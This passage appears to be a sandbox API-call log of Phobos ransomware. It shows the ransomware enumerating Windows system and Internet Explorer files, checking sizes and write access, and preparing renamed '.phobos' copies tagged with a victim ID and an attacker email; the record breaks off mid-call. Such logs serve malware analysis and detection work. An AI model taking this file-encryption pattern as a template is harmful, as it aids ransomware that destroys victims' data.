CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.192] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.192] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.192] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=376320) returned 1 [0134.193] CloseHandle (hObject=0x2f8) returned 1 [0134.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll")) returned 0x20 [0134.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.193] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.193] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=698368) returned 1 [0134.193] CloseHandle (hObject=0x2f8) returned 1 [0134.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll")) returned 0x20 [0134.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.193] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.193] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.193] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=54784) returned 1 [0134.194] CloseHandle (hObject=0x2f8) returned 1 [0134.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll")) returned 0x20 [0134.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdasqlr.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasqlr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.194] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.194] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=117248) returned 1 [0134.194] CloseHandle (hObject=0x2f8) returned 1 [0134.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll")) returned 0x20 [0134.194] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msdatl3.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdatl3.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.194] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.194] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=16384) returned 1 [0134.195] CloseHandle (hObject=0x2f8) returned 1 [0134.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll")) returned 0x20 [0134.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\msxactps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msxactps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.195] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.195] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=942080) returned 1 [0134.195] CloseHandle (hObject=0x2f8) returned 1 [0134.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll")) returned 0x20 [0134.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.195] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.195] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.195] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=77824) returned 1 [0134.196] CloseHandle (hObject=0x2f8) returned 1 [0134.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll")) returned 0x20 [0134.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.196] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.196] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=868352) returned 1 [0134.196] CloseHandle (hObject=0x2f8) returned 1 [0134.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll")) returned 0x20 [0134.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.196] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.197] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=4608) returned 1 [0134.197] CloseHandle (hObject=0x2f8) returned 1 [0134.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll")) returned 0x20 [0134.197] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.197] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.197] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.197] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.198] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=326144) returned 1 [0134.198] CloseHandle (hObject=0x2f8) returned 1 [0134.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll")) returned 0x20 [0134.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.198] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.198] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=2560) returned 1 [0134.198] CloseHandle (hObject=0x2f8) returned 1 [0134.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll")) returned 0x20 [0134.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.198] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.199] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=854528) returned 1 [0134.199] CloseHandle (hObject=0x2f8) returned 1 [0134.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll")) returned 0x20 [0134.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\wab32.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files\\common files\\system\\wab32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.199] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.199] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=964096) returned 1 [0134.199] CloseHandle (hObject=0x2f8) returned 1 [0134.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll")) returned 0x20 [0134.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\system\\wab32res.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files\\common files\\system\\wab32res.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.199] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.200] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=2560) returned 1 [0134.200] CloseHandle (hObject=0x2f8) returned 1 [0134.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui")) returned 0x20 [0134.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\hmmapi.dll.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\hmmapi.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.201] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.201] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.201] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=2560) returned 1 [0134.201] CloseHandle (hObject=0x2f8) returned 1 [0134.201] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui")) returned 0x20 [0134.201] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.201] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\ieinstal.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\ieinstal.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.201] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.201] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.201] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=5632) returned 1 [0134.201] CloseHandle (hObject=0x2f8) returned 1 [0134.201] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui")) returned 0x20 [0134.201] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.201] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.202] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.202] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files\\internet explorer\\extexport.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.202] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=53248) returned 1 [0134.202] CloseHandle (hObject=0x2f8) returned 1 [0134.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files\\internet explorer\\extexport.exe")) returned 0x20 [0134.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ExtExport.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\extexport.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.202] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files\\internet explorer\\extexport.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0134.202] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0134.202] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\himscoredprices.exe" (normalized: "c:\\program files\\internet explorer\\himscoredprices.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0134.202] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=75776) returned 1 [0134.202] CloseHandle (hObject=0x2f8) returned 1 [0134.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\himscoredprices.exe" (normalized: "c:\\program files\\internet explorer\\himscoredprices.exe")) returned 0x20 [0134.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\himscoredprices.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\internet explorer\\himscoredprices.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0134.202] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\himscoredprices.exe" (normalized: "c:\\program files\\internet explorer\\himscoredprices.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 